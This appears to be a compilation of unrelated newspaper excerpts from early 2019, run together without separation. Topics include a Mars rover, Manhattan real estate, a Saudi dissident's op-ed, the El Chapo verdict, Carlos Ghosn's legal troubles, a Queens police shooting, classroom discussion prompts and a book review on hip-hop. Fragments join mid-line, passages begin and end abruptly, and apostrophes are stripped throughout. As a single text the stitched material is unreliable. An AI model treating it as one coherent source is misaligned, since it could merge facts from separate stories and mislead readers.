As it moved across the surface, Opportunity provided an up-close view of Mars that scientists had never seen: fine layers of rock that preserved ripples of flowing water, a prerequisite for life, from several billion years ago.The average closing price for the 12-month period ending Jan. 10, 2019, according to data provided by Warburg Realty, was $2,155,297; the active-listings average, including apartments in the more expensive Waterline Square, was $3,339,619.

This is a neighborhood in transition, Ms. Gruenberger said, adding that, as elsewhere in the city, there is a lot of price revision downward.

Image 50 RIVERSIDE BOULEVARD, NO. 9N | A two-bedroom, two-and-a-half-bathroom condo with partial river views and a washer-dryer in a 2015 doorman building with a pool, a rock-climbing wall and a bowling alley, listed for $2.35 million. 917-783-2041 Credit... Tony Cenicola/The New York Times

Of 97 rentals on The New York Times site in early February, the lowest priced was $2,565 a month for a studio at 180 Riverside Boulevard, one of three all-rental buildings. The highest, at $55,000, was a five-bedroom, six-and-a-half-bathroom corner unit with a terrace at 50 Riverside Boulevard, a condo building.

The Vibe

Pier I Cafe, at the foot of a recreational pier that juts nearly 800 feet into the Hudson River at West 70th Street, is a frequent gathering spot for people in the neighborhood, said Dan Garodnick, president and chief executive of the Riverside Park Conservancy, which helps to take care of the park. He described it as a New Yorkers park, partly because it is too out of the way for tourists and also because people who live in the area are wildly committed to its upkeep.

The conservancy offers 250 free programs a year, from May to October, as well as public art projects like Sarah E. Brooks Viewfinding, at West 67th Street through Aug. 22, 2019. New sections of the park, which will extend it on the street level, are in the works, Mr. Garodnick said.

Spencer Sloan, 41, a resident of the neighborhood since 2010, with his wife, Alma, and two children, ages 7 and 8, has noticed more action on the boulevard, he said, including new schools, new medical offices and the first two restaurants: BLU Cafe, at 120 Riverside Boulevard, run by the BLU Realty Group next door but open to anyone; and Vin Sur Vingt, at 100 Riverside Boulevard, a wine bar that serves brunch on the weekends. Mr. Sloan said he is looking forward to the new Cipriani restaurant and food court scheduled to open this year in Waterline Square.My father is loved by the Saudi people because his authority and legitimacy as an independent Muslim scholar set him apart from the state-appointed scholars. Using Islamic principles to support his arguments, he championed civil liberties, participatory politics, the separation of powers and judicial independence.

For almost two decades, he has vocally led the campaign against terrorism in Saudi Arabia. He has called for renewing religious discourse and argued for moderate Islam. I wonder whether he was arrested because of his popular, progressive stances, because since the ascent of Prince Mohammed bin Salman, nobody else is allowed to be seen as a reformer.

While reformers like my father sit in prisons, Saudi Arabia has embraced hard-liners like Saleh al-Fouzan, an influential state-sponsored cleric and a member of the Council of Senior Scholars. In 2013, Mr. al-Fouzan denounced a future where women would drive and claimed that the Shia and other Muslims who do not follow Wahhabi beliefs are infidels and that anyone who disagrees with that interpretation is an infidel. He has also pronounced all-you-can-eat buffet restaurants forbidden because they strike him as akin to gambling, which is banned in Islam.

In August, Mr. al-Fouzan was seated between King Salman bin Abdulaziz and Prince Mohammed at the royal court to signal his authority and importance. A few months earlier, during a meeting, the crown prince told Mr. al-Fouzan, You are like my father. In September, Mr. al-Fouzan issued a fatwa urging the state to kill political dissidents who promote sedition against the ruler. A month later, my friend Jamal Khashoggi was murdered.

In such a culture of fear, there is little hope for justice. The judiciary is being pushed far from any semblance of the rule of law and due process.

Even some judges from the specialized criminal court, which is trying my father, have themselves been detained after they declined to impose harsh penalties recommended by the attorney general in certain cases. A judge told me that judges recently appointed to the specialized criminal court live with fear.

Yet there are some judges in Saudi Arabia who have not submitted to the total control the monarchy seeks. In 2013, around 200 judges signed a public petition calling for real legal and judicial reforms, and condemned the overwhelming crackdown and suppression of the real and patriotic voices. They wanted the independence of the judiciary.To the Editor:

Re The Church and the Abortion Capital (column, Feb. 3):

Ross Douthat speaks as if the Catholic Churchs traditional teaching on abortion condemned all abortions. That is not true.

For one example, the great Dominican theologian St. Antoninus ( 1389-1459 ) held that early abortions can be justified when necessary to save the womans life, not a rare exception in the medical conditions of the time. His view created no stir, since there were other notable theologians who agreed and allowed for a number of exceptions permitting abortion.

Neither was he condemned by the hierarchy. Rather, he was appointed archbishop of Florence in 1446 . When he died, Pope Pius II, in an outstanding eulogy, praised Antoninus as  a brilliant theologian and popular p reacher.

In 1523 he was formally canonized as a saint of the Roman Catholic Church. His feast day is May 10 , a day that pro-choice Catholics can remember and celebrate.Its possible that African-Americans in Virginia and around the nation might have allowed Mr. Northam to redeem himself if he had pre-emptively shared the photos and sat for an interview explaining why he did it then and why he knows it is wrong now.

We could have benefited from a mature, straightforward conversation about how a person sheds bigotry. Instead, the nation now believes him to be a stubborn racist who refuses to leave long after the people have decided they have had enough of him.

Theres a huge double standard here. African-Americans are constantly expected to distance themselves from anyone white people view as problematic. President Barack Obamas association with the Rev. Jeremiah Wright nearly cost him the Democratic nomination, although we now know that Mr. Wrights sermons were edited to be inflammatory. In the past few months, Tamika Mallory, a co-founder of the Womens March, has been shunned by many of her peers because she attended a Nation of Islam event and took photos with the organizations leader, Louis Farrakhan.

And black people have to give a public account. President Obama gave his most important speech on race in response to his pastor problem. Ms. Mallory did a press tour in an effort to explain her behavior. There was no way forward except through a public baring-of-their-soul for wary whites. Mr. Northam, whose problem is actual racist acts, not association with racists, has refused this process. Sadly he doesnt realize that this process could have made him an even better candidate and better ally of his African-American constituents.

White Americans have to get beyond defensive responses when their views about race are questioned and begin to articulate their views. Race is a policy issue just like international affairs, health care and trade. If politicians take the time to become articulate on those issues, they should do the same on race. This is particularly true for white Democrats, whose voting coalition at the local, state and federal levels largely comprises people of color. They owe it to the people who put them in office.The Yellow Vests have been coming out to demonstrate in Paris and other large French cities for 13 straight Saturdays now, bedeviling the government of President Emmanuel Macron with the vagueness of their demands and the lack of a leadership to negotiate with. How it plays out could have consequences well beyond Frances borders.

The size of the protests has been shrinking, and Mr. Macrons approval ratings have been creeping back up from a devastatingly low 23 percent in December, after the demonstrators first emerged, initially to protest a rise in the tax on gasoline, which already costs more than $6 a gallon in France. But the Yellow Vests show no sign of ending their weekly invasions of the capital anytime soon, and polls show that a majority of the French continue to support them.

Their protests have morphed into a popular movement, an uprising of provincial towns and villages  what urban French idealize as la France profonde, the deep, timeless France  against a sense of being forgotten in their picturesque countryside with incomes that barely stretch to the end of each month.

Though organized protests by unions, students or other groups of the left or right are a fixture of French public life, the Yellow Vests are something new and unfamiliar in their absence of an organization, defined demands or ideology. Violent fringe groups have latched onto the weekly protests, clashing with the police, setting cars on fire and smashing store windows, but a large majority of the Yellow Vests are neither violent nor radical.Walter B. Jones Jr., a Republican congressman from North Carolina whose district included Marine Corps Base Camp Lejeune, was a staunch supporter of the American-led invasion of Iraq in 2003. He had even helped rebrand French fries as freedom fries, as a slap at France for opposing the war.

But he had an epiphany one day at a memorial ceremony at Camp Lejeune for Marine Sgt. Michael Bitz, 31, who had been killed in Iraq shortly after the invasion while trying to evacuate his wounded comrades.

During the ceremony, the sergeants 2-year-old son, Joshua, dropped a toy. A young Marine in dress uniform reached down to pick it up and handed it back.

And the boy looked up at him, and the Marine looked down, and then it hit me, Mr. Jones told Mother Jones magazine years later.Since 1851, many remarkable black men and women did not receive obituaries in The New York Times. This month, with Overlooked, were adding their stories to our archives.

Mother dear, may I go downtown Instead of out to play, And march the streets of Birmingham In a Freedom March today? No, baby, no, you may not go, For the dogs are fierce and wild, And clubs and hoses, guns and jails Arent good for a little child.

So begins Ballad of Birmingham, a poem inspired by the 1963 bombing of the 16th Street Baptist Church in Birmingham, Ala., that killed four black girls.

They were also the first words that the poet, a librarian named Dudley Randall, printed and copyrighted under the name Broadside Press in 1965.

He did it to retain his rights to the poem, which was adapted into a folk song by Jerry Moore.

Randall started the publishing house, which was based in Detroit, with his librarians paycheck, and it swiftly became a success, producing dozens of broadsides  a printing style in which just one side of the paper is used  as part of the Black Arts Movement, a flowering of African-American literature, theater, music and other arts.Carol F. Reich, a philanthropist and late-blooming educator who, with her husband, helped pioneer the charter school movement in New York City in the early 1990s, died on Feb. 5 in Miami. She was 83.

Her death was confirmed by her daughter Janet Reich Elsbach.

Capping their quixotic bureaucratic odyssey, Dr. Reich (pronounced rich) and her husband, Joseph, opened an experimental public elementary school in 1992 in a former pharmaceutical factory in Williamsburg, Brooklyn. They described themselves as neophytes in glueland.

What became known as the Beginning With Children Charter School was run by trustees selected from among parents, community leaders and educators. It chose students by lottery and reported directly to the schools chancellor instead of district officials. By 1997, Beginning With Children was being hailed as the citys most improved elementary school.

Beginning With Children and a handful of others that started out as district schools operated with many of the prerogatives that the State Legislature, inspired in part by the Reiches success, granted in 1998 to privately operated charter schools, which are publicly funded but run independently from local school districts.Habeger created a painting of that scene, called Carts, which will be one of about 30 paintings and drawings featured in his art show called Constructs. It opens with a reception Feb. 22 at the College of Lake County and continues through March 22 during regular school hours. The works feature what Habeger calls urban landscapes  art subjects Habeger discovered right here in Lake County including a liquor store sign in Waukegan and a transformer box in Libertyville.[What you need to know to start the day: Get New York Today in your inbox.]

The call came in just after dark on Tuesday  a masked man with a gun was robbing a T-Mobile store in Queens, holding two employees in a back room.

Within minutes, the first police officers arrived, and two officers and a sergeant ran inside, officials said. More officers pulled up outside, and still more. The man in the store advanced quickly toward the officers inside, pistol raised. They retreated out of the store.

Then everything went wrong.

Seven officers opened fire toward the store  a total of 42 shots within 11 seconds, the police said. It goes from zero to 60, said Chief Terence Monahan, the Police Departments highest-ranking uniformed officer.

When the barrage of gunfire ended, two men lay bleeding on the sidewalk outside the store.

Neither was the robber.Its no wonder that the trial of the Mexican drug kingpin known as El Chapo  the biggest drug trial in United States history  drew celebrities and tourists and reporters from around the world to a Brooklyn courtroom for the last three months.

On Tuesday, a jury convicted El Chapo, whose real name is Joaquin Guzman Loera, of leading a continuing criminal enterprise  the Sinaloa cartel  that earned him over $14 billion.

[Read the full story on the verdict.]

Why Brooklyn: El Chapo was indicted in New York in 2009 on charges stemming from a series of drug-related contract killings in Queens in 1993. The seat of the federal court district that includes Queens is in Brooklyn.

Welcome: After multiple escapes, El Chapo was finally extradited from Mexico in 2017. Bienvenido a New York, an American agent told him as his plane touched down.

El Chapo was held in a high-security jail in Manhattan. To get him to the federal courthouse in Downtown Brooklyn, the police sometimes shut down the Brooklyn Bridge, stalling traffic.[What you need to know to start the day: Get New York Today in your inbox.]

Roman Catholic bishops in New Jersey on Wednesday named nearly 200 priests who have been found credibly accused of sexually abusing a child. The disclosure is just the latest reported in recent weeks by dioceses and religious orders across the country as law enforcement officials examine the churchs response to an epidemic of abuse.

As with many of the other lists published, most of the priests identified by the New Jersey bishops are dead, and the accusations involve alleged abuse that happened decades ago.

The list of names included Theodore McCarrick, the former cardinal who stands to be one of the highest-profile Catholic figures in modern times to be defrocked, and a parish priest who was the first to be criminally charged as part of the New Jersey attorney generals investigation into clergy abuse.

The bishops in New Jersey have followed dozens of their colleagues in the United States in deciding to publish the names of suspected abusers after a grand jury report in Pennsylvania last summer outlined seven decades of accusations and inflamed broader tensions in the church over its handling of abuse.[What you need to know to start the day: Get New York Today in your inbox.]

The conviction this week of the Mexican crime lord Joaquin Guzman Loera was one of the most visible victories for American law enforcement since the war on drugs began in the 1970s, a triumph over a cartel leader who survived  and thrived  for decades on his business skills, brutal violence and bottomless bribes to Mexican officials.

And yet on Jan. 31, the same day that the trial of Mr. Guzman  known to the world as El Chapo  ended in a Brooklyn federal courtroom, border officials in Arizona made an announcement: They had just seized the largest load of fentanyl ever found in the United States, a haul that was hidden in a truck carrying cucumbers on its way through the Nogales port of entry, a crossing that Mr. Guzmans organization, the Sinaloa drug cartel, has traditionally run for years.

The fentanyl seizure  enough for 100 million lethal doses  was a clear signal that even after the hard-fought task of convicting Mr. Guzman on drug conspiracy charges, American federal agents have far to go in their attempts to dismantle Mexicos infamous cartels. The verdict against the kingpin on Tuesday may, in the end, have little lasting impact on either Mr. Guzmans group or the wider effort to stem the flow of drugs into the United States.

Even without its former leader, the Sinaloa cartel is a major threat and maintains among its competitors the most expansive footprint in the United States, according to the Drug Enforcement Administrations most recent assessment of the drug trade. While Mr. Guzmans guilty verdict disrupted the relationships and smuggling agreements the kingpin forged in his career, federal agents say his empire remains intact and is now being run by his sons and his wily longtime partner, Ismael Zambada Garcia.[What you need to know to start the day: Get New York Today in your inbox.]

Two years ago, James Harris Jackson, a white Army veteran, fatally stabbed a man on a dark New York City street solely because he was black.

The racial World War starts today, Mr. Jackson wrote in a manifesto that included an emblazoned swastika and a Crusaders Cross. This political terrorist attack is a formal declaration of global total war on the Negro races.

On Wednesday, Mr. Jackson, who was about to be sentenced to life in prison without the chance of parole, attempted to rewrite that history, offering an apology.

It never should have happened, and of course, if I could do it all over again this never would have happened for sure, Mr. Jackson said.What will happen to El Chapo?

Mr. Guzman will likely spend the rest of his life in prison. We wont know exactly where until he is sentenced on June 25.

During that time, Mr. Guzman is likely to be held at Metropolitan Correctional Center, a jail that has been called tougher than Guantanamo Bay.

Where will El Chapo most likely go to jail?

We wont know until sentencing, but its probable that Mr. Guzman will be sent to the United States Penitentiary Administrative Maximum Facility in Florence, Colo., more commonly known as the ADX.

From a New York Times Magazine story from 2015 about the ADX:

The ADX can house up to 500 prisoners in its eight units. Inmates spend their days in 12-by-7-foot cells with thick concrete walls and double sets of sliding metal doors (with solid exteriors, so prisoners cant see one another). A single window, about three feet high but only four inches wide, offers a notched glimpse of sky and little else. Each cell has a sink-toilet combo and an automated shower, and prisoners sleep on concrete slabs topped with thin mattresses. Most cells also have televisions (with built-in radios), and inmates have access to books and periodicals, as well as certain arts-and-craft materials.

Why did it take so long?

Six days of deliberations is not a long time. But as a result of the extensive amount of evidence, many people thought a conviction would happen sooner. But it was a complicated case. Almost 11 weeks of testimony by 56 witnesses for the prosecution produced an exhaustive amount of evidence for jurors to process.

Also, the charges were complicated. For the first count, engaging in a continuing criminal enterprise, jurors had to determine 27 different violations within that count. For example: Violation One (International Distribution of Cocaine  3,200 kilograms  January 2005).

As mentioned earlier, jurors had to work through an eight-page verdict sheet with 53 boxes.

Requests by jurors to see complete transcripts for several witnesses  including major figures like Jorge and Alex Cifuentes-Villa, Vicente Zambada, Jesus Zambada Garcia and Damaso Lopez Nunez  indicated they were being thorough in filling out that sheet.Mayor Bill de Blasios duties and dreams have, at times, been at odds.

For example, Mr. de Blasio on Wednesday canceled a campaign-style trip to New Hampshire  part of a wink-wink flirtation with a potential presidential run  after the tragic friendly-fire death of a police detective, Brian Simonsen.

Detective Simonsen was killed Tuesday night after he and other officers confronted a robbery suspect in a cellphone store in Queens. The detective, wearing civilian clothing, was mortally wounded during a barrage of fire from other officers as he exited the store, according to the police.

The detectives death led Mr. de Blasio to call off a trip to New Hampshire that he had planned for Friday, where he was to meet with the mayor of Nashua, Jim Donchess, and local activists in Concord. The trip was first reported by Politico, which also reported that the mayors schedule might also include chatting with Nashua residents at a diner.

In 2017, Mr. de Blasio was fiercely criticized when he flew to Germany a day after a police officer, Miosotis Familia, was shot to death while on duty in the Bronx. On that trip, Mr. de Blasio gave a speech at a protest rally in Hamburg, where President Trump, President Vladimir V. Putin of Russia and other world leaders were at a Group of 20 summit meeting. He returned in time to attend Officer Familias funeral.So what is the way forward? Is there a progressive case to be made for Amazon that would appease the critics whose support seems essential? If Amazon does back away, it will be because the investments it has already made in training, hiring and development could go wasted in the face of an uncertain public approval process.

That process became a lot more uncertain when Michael Gianaris, a state senator representing the district where Amazon would land, was nominated to a board that has the capacity to disable the deal. He has aggressively argued against the arrival of Amazon under the terms the city and state granted.

If Amazon demands to be loved less ambivalently, logic dictates that it will have to concede to a renegotiation of some of those terms. Crucially, if it wants to salvage a public image that extends beyond the notion that it is merely on the receiving end of things, it will need to broaden its conception of talent.

At a panel I moderated at a New York Times conference on urbanism in December, Kathryn Wylde, the president of the Partnership for New York City and someone who has been involved in the Amazon deal, explained the companys thinking about coming to New York. Executives looked across the river and saw the new Cornell technology campus on Roosevelt Island, what could be a quick ferry trip away, and decided that Long Island City was where they had to be.

But talent comes in many forms. Also close to the future Amazon site is LaGuardia Community College, which serves more than 50,000 mostly low-income students, many from immigrant families and most working two or three jobs as they slowly make their way through school.

Gail Mellow, a community college graduate herself, is LaGuardias president. When she joined a committee on job development that the city and state had assembled after the Amazon deal was announced, she said, she was surrounded by leaders of community groups that served the same constituency that she did. They all agreed that Amazon offered extraordinary opportunities because of the sheer number and scope of the jobs it brought. Huge investments of money, beyond what has been promised, would have to be made not just to employ low-income workers but also to pay for training that would put them on the path to meaningful social mobility.

What needs to happen has to happen at every level  in our local middle schools, high schools, at community colleges, all through CUNY, Ms. Mellow said, referring to the citys public university system and the corporate partnerships that would have to evolve. Amazon would need to make commitments to poverty reduction part of its mission. When it had the option in Seattle, it refused.

Still, Ms. Mellow said she was hyperbolically optimistic.

Could this happen? I really dont know. But I have never seen a chance like this before. And maybe Amazon hasnt either.

Can you take a look at this? the 50-year-old man asked his wife. Standing in front of the bathroom mirror in his home outside Asheville, N.C., he turned his head and touched an area on his cheek just in front of his ear. He could feel the smooth, slightly raised surface, but it was on the side of his face, in a spot that was hard for him to see. It was slightly pink, about the size of a 50-cent piece, with irregular borders. Where did that come from? his wife asked as she turned his head to get a better look. It didnt hurt, he told her. In fact, that whole part of his face, right up to the middle of his ear, was kind of numb.

He was fairly healthy over all. He quit smoking some 15 years earlier, and his job as a mason kept him moving. But hed spent a lifetime worrying about his skin. He had a bad case of psoriasis that his dermatologist had only gotten a handle on a couple of years before when he started him on a new medication called Humira. Once he started the twice-monthly injections, the scaly lesions on his skin had practically melted away. Hed never had psoriasis on his face, though. He pointed it out to his dermatologist at his next appointment, but the doctor didnt seem worried about this new eruption. It would go away, he assured the patient.

The man found himself touching that spot constantly. And even though it wasnt that obvious, he couldnt help looking at it every time he passed a mirror. It didnt seem to be getting any bigger. But it wasnt going away either.

His wife was worried. She told him that at his age, it wasnt natural to grow anything new. He told her what the doctor told him  though he only half believed it himself  that it was nothing and would go away on its own. She was skeptical. When it was still there after six months, he decided he needed some answers.Before reading the article:

Draw what you think an effective president looks like. You can make a stick figure, if that feels most comfortable, but in your drawing, include words that describe the appearance, qualities and behaviors of a leader.

Now, read the article, A Woman, Just Not That Woman: How Sexism Plays Out on the Trail, and answer the following questions:

1. According to the article, what are some of the stereotypes and double standards female candidates face when running for political office?

2. For 20 years, weve heard participants in our focus groups say they would vote for a woman, just not that woman, said Amanda Hunter, research and communications director at the Barbara Lee Family Foundation, which supports women in politics. Why is that statement being put to the test in the 2020 presidential primary?

3. How is likability influenced by gender bias? Give one example from the article to support your answer.Although it is not listed among the buildings of the first significance in the La Grange Historical District, its age and the district being on the National Register of Historic Places means that the plan will likely be reviewed by the State Historical Preservation Office, as required when the petitioner applies for a a utility permit through the Illinois Environmental Protection Agency, according to a staff memo.How do you feel about Valentines Day? Do you look forward to the opportunity to express your love  or do you despise the forced sentimentality of the holiday? Why?

How, if at all, do you plan to celebrate Valentines Day this year?

In Against Romance: An Un-Valentine, Judith Hertog writes about why she prefers to ignore Valentines Day instead of indulge in the fairy-tale romance:

One Valentines Day many years ago, my spouse, Gil, brought home a bouquet of roses. I am Dutch and he is Israeli, so neither of us had grown up celebrating Valentines Day. But it was our first year as graduate students in the United States, and one of his classmates, shocked that he was planning to spend the evening at the library, convinced him that hed risk losing my love if he didnt bring me a romantic gift. He came home with a bouquet of overpriced supermarket roses that would be on sale the next day. I wasnt as much bothered by the price  even though Im Dutch  as I was offended by his unoriginality. I threatened him with divorce if he ever again brought me overpriced roses or chocolates in mid-February. Relieved to be able to go back to his books, he agreed and has never again tried to be romantic. A lethal combination of Hollywood sentimentality, Victorian romanticism and bridal-magazine kitsch has placed an impossible burden on love. Were supposed to subject our relationships to some recipe for unfading ardor and permanent swoon and are made to believe we are failing if we just live in reality. I object to the tyranny of perfect romance. Id rather have a flawed relationship of my own than the kind of fairy tale love in which the lovers are replaceable elements in an arrangement of candlelight dinners, red roses and walks on the beach. I prefer my love imperfect.

Students, read the entire article, then tell us:

 What are some of your most memorable Valentines Day moments  good or bad?

 How much of a romantic are you? Do you fantasize about falling in love, being swept off your feet and finding your soul mate? Do you love giving and receiving grand romantic gestures, like lavish gifts and love letters? Or, do you not give much thought to love and romance in your daily life?

 What is the most romantic thing that you have ever seen or read about, that has happened to you or that you have done for someone else? In your opinion, what made it so special?

 Ms. Hertog writes: A lethal combination of Hollywood sentimentality, Victorian romanticism and bridal-magazine kitsch has placed an impossible burden on love. Do you agree? Do you ever feel pressured to have perfect, stress-free, always-happy relationships with your romantic partners, friends or family?

 Do you ever feel that an overly romantic view of love is problematic? Why or why not?

Related Valentines Day lesson plans and student activities from The Learning Network:

Valentines Day Across the Curriculum

Using the Modern Love Podcast to Teach Narrative Writing

Passion Prompts: Sentence Starters for Writing About RelationshipsTypically, 15 to 20 invited guests, including children, attend clothing-optional weddings hosted at Cypress Cove Nudist Resort. However, often, 50 to 60 passers-by take a peek. We have a lot of residents. Once theres a nude wedding happening, and they know, you have a lot of visitors come watch. You end up having a big wedding, Ms. Hawkins said.

Even though neighbors and strangers show up to nuptials, they dont take pictures.

Normally we dont allow photographs at nudist resorts, anyway. So, we ask people to refrain from doing it, Ms. Hawkins said.

At Green Valley Nudist Camp in Medina, Ohio, photography is prohibited on-site, according to the camp website, and cellphones prohibited at ceremonies, said Heidi Porta, 44, a Universal Life minister and owner of Exclusively Yours, an event management company in Akron, Ohio. Within the past decade, Ms. Porta, who said she has been a member of Green Valley for more than nine years, has officiated at about 350 Ohio and Pennsylvania-based weddings, including two nude weddings. This is as comfortable as youre going to be with your spouse or your partner, she said.

But not everyone feels the same ease baring their bodies or seeing others in the nude.

Invitees, caterers, D.J.s and outside vendors are notified of the clothing-optional parameters in advance. The majority of people are nudists, and we are walking around free as a jaybird, Ms. Porta said. That is our comfort zone.

As stated on the camps website, every visitor is required to present a government issued photo ID and is screened through national and state sex offender registries, as a safety precaution, regardless of their business affiliations or relation to the couple. Upon entry, friends and family arent always required to disrobe. Sometimes the couple doesnt go fully nude either.

In general, visitors at clothing-optional clubs are allowed to keep their clothes on. At clothes-free resorts, the expectation is that guests will undress. If wardrobe requirements are not stated on the invitation, its best to consult with the bride and groom beforehand. After all, sometimes the couple doesnt go fully nude either.PARIS  The woes keep mounting for Carlos Ghosn.

Renaults board voted unanimously on Wednesday to cancel tens of millions of euros in compensation that he was set to receive as its chairman and chief executive, days after the French carmaker notified the judicial authorities that he may have misused company money.

Also on Wednesday, the embattled executive hired a star Japanese lawyer known as the Razor to prepare for his trial in Tokyo. Mr. Ghosn has been detained since November, facing charges of financial wrongdoing as the head of Nissan, the Japanese carmaker that he also ran as part of a global auto alliance with Renault and Mitsubishi.

Renault, in a statement, said its board would waive a clause in Mr. Ghosns contract that would have granted him the equivalent of two years salary for not going to work for a competitor.

Mr. Ghosn resigned from Renault last month. The windfall would have been worth about 5 million euros, according to a person with knowledge of the matter, who was not authorized to speak publicly.Good Wednesday. Want this by email? Sign up here.

Trump may wait for real deal with China

President Trump said he may let his March 2 deadline for reaching a trade agreement with China slide for a little while if the two countries are near a deal by then.

Washington and Beijing are deep in negotiations. In the talks this week, Chinese and U.S. negotiators are focusing on producing a broad outline of a trade agreement for their presidents to clinch at a possible summit, the WSJ reports. Officials holding trade and economic portfolios are seeking to narrow the still-substantial gap between the concessions China is willing to offer and what Mr. Trumps administration will accept.

Mr. Trump wants to maintain momentum. The president characterized those discussions as going well, according to Deborah B. Solomon of the NYT, and said he thought the U.S. had a chance to make a real deal. He added that he wanted a real deal, not just a deal that looks cosmetically good for a year.

But any pact will face a big obstacle: Chinese commitment. A history of broken policy promises between China and the rest of the world hangs over U.S. negotiators, Keith Bradsher of the NYT writes. So they want to ensure that any deal they strike has teeth if Beijing does not live up to its obligations. One proposed solution: a mechanism that would automatically raise tariffs on Chinese goods if its exports to the United States keep rising.In January, both the National Federation of Independent Businesss optimism index for small businesses and the University of Michigans consumer sentiment index fell to their lowest levels since at least November 2016. And the Conference Boards index of consumer confidence posted its steepest decline over the past few months since 2011.

Those three indexes had jumped in the months after Donald J. Trump was elected president on optimism that his pro-business agenda of reduced taxes and regulation would ignite economic growth. The indexes peaked last year as the stock market marched to record highs, and despite the recent pullback, they remain at historically elevated levels.

Businesses, policymakers and investors often use sentiment surveys to evaluate the direction of the economy. If confidence is high, the thinking goes, business owners and consumers are more likely to open their wallets to make purchases, hire employees and expand their operations. If those same groups are worried about the future, they are more likely to curtail their spending.

But upward swings in sentiment do not necessarily translate into increased spending and economic growth. The economy, for instance, remained sluggish for more than a year after consumer and business confidence jumped in the months after the 2016 election.

Such indexes are also sensitive to short-term moves in the stock market and political developments that have little effect on spending.What charges could he face?

Japanese prosecutors have accused Mr. Ghosn of an abuse of corporate trust, a crime that does not exist in federal law in the United States. He is also charged with underreporting $80 million in income and temporarily transferring a personal debt to Nissan.

[Carlos Ghosn taps a lawyer nicknamed the Razor to defend him]

Prosecutors in the United States often use mail and wire fraud laws to accuse individuals of deception when they make personal gains. But there is a question of whether Mr. Ghosn actually misled Nissan, Mitsubishi or Renault, the three companies for which he served as chairman. In an interview with The Nikkei Asian Review, he maintained his innocence and accused senior executives at Nissan of an exercise in plot and treason carried out to have him removed from his position at the company.

The Securities and Exchange Commission has requested information from Nissan and Mr. Ghosn about any financial improprieties and possible misstatements in their financial reports. If there were to be a case filed against either party in the United States, it is much more likely to be a civil action, rather than a criminal prosecution, for violating the accounting requirements for companies whose shares are publicly traded. (Although violation of the federal securities laws can be charged as a crime, the Justice Department usually leaves accounting and corporate governance issues of the type involving Mr. Ghosn to civil regulators because proving the required intent can be difficult.)

Mr. Ghosn could also be accused of a crime in the United States for any underreporting of taxes owed on his pay, if he sought to avoid paying them on corporate benefits. Under tax laws, attempts to evade or defeat a tax or make false statement on any document filed with the Internal Revenue Service can result in criminal charges. Those crimes require showing that a defendant knew about the tax reporting law and purposefully defied it, so most cases involving a failure to pay the requisite taxes are handled through a civil audit in which the overdue taxes and a penalty are assessed. Criminal charges for this type of violation are uncommon when there is no evidence of active hiding of funds, such as creation of a secret offshore account.

How would he be questioned?

The Japanese Constitution states that no person shall be compelled to testify against himself and that a confession made under compulsion, torture or threat, or after prolonged arrest or detention shall not be admitted in evidence. But Mr. Ghosn continues to be interrogated about the alleged crimes. The protections afforded to a defendant do not preclude repeated questioning about the charges, even if the person refuses to cooperate.Outcry over Philippine journalists arrest

The co-founder of Rappler, an online news start-up critical of President Rodrigo Duterte, was arrested in a digital libel case against her media outlet.

Maria Ressa was denied bail, according to a Rappler editor. In an emailed statement, she said: These legal acrobatics show how far the government will go to silence journalists, including the pettiness of forcing me to spend the night in jail. The countrys National Union of Journalists, called her arrest a shameless act of persecution by a bully government.

This case is the latest in a string of legal attacks against her and other journalists by the government.

Background: Rappler has helped draw global attention to the brutal war on drugs Mr. Duterte has waged since coming into power in 2016.

This arrest is related to an article that Rappler published in 2012 looking into questionable transactions between the chief justice at the time and a wealthy businessman.

Analysis: Ms. Ressas arrest represents the most dramatic sign yet of Mr. Dutertes crackdown on the news media. He has openly called reporters sons of bitches and has even warned he would not allow the renewal of the license of the countrys biggest broadcast news network.On Tuesday, the president said he was not happy with the deal, but he all but ruled out another government shutdown, leading his allies to predict that he would grudgingly support it. Sean Hannity, the Fox News host who had denounced the deal as a garbage compromise, said he expected Mr. Trump to sign it.

The details: The measure would provide $1.38 billion for fencing at the border with Mexico. Mr. Trump has demanded $5.7 billion for a steel or concrete wall, and said he would find other methods to pay for it. Here are five takeaways.

Go deeper: As of January, no new barriers had been built under the Trump administration, although some construction is expected to begin this month. We looked at whats in place at the border.

El Chapo, untouchable no more, is found guilty

The Mexican drug lord Joaquin Guzman Loera, also known as El Chapo, could face life in prison after he was found guilty of all 10 counts at his drug conspiracy trial in Brooklyn on Tuesday.WALK THIS WAY

Run-DMC, Aerosmith, and the Song That Changed American Music Forever

By Geoff Edgers

In 2017 Nielsen Music reported that hip-hop and R & B had officially surpassed rock as Americas most-consumed genre. The news elicited international headlines, but for many of us it elicited a yawn. Who didnt know by then that hip-hop was not just  to cite the rapper Nas, the comedian Katt Williams and countless pundits of the past decade  as American as apple pie, but one of Americas greatest exports: a music, culture and ethos that lives and breathes from California to Cape Town, New York to New Delhi?

It wasnt always so, of course. Such is the premise of Geoff Edgers Walk This Way: Run-DMC, Aerosmith, and the Song That Changed American Music Forever, which argues that before the July 4, 1986, release of the hit in his title  one of the first rap songs played on mainstream radio, the genres first in the Billboard Top 10  almighty hip-hop was merely a small underground community of independent labels and scrappy promoters. As Edgers, the national arts reporter for The Washington Post, tells it, the crossover rap-rock tune made it safe to be black and mainstream, proved that hip-hop, dismissed by many as a fad, had legs and became so many things to so many different people, from bar mitzvah boys in Westchester County to Ice-T. It accomplished that, essentially, by being hip-hops Trojan horse, the music camouflaged enough to give timid programmers permission to play; this fomented a movement like the Harlem Renaissance and San Franciscos Summer of Love, one that crossed geographical, economic and, most important, racial lines.

All of this is well-trod territory. There has been no dearth of ink spilled about Run-DMC, Aerosmith or hip-hops rise to cultural domination. So in a book that is occasionally hyperbolic yet fastidiously thorough  sometimes too thorough: Walk This Way grew from a long-form article and often feels better suited as one, unless youre enthralled by the nitty-gritty of industry insider-ness  Edgers carves out a niche by creating in narrative fashion the very mash-up hes documenting, merging two racial and spatial histories just as Run-DMC and Aerosmiths hit fused disparate sounds and scenes.

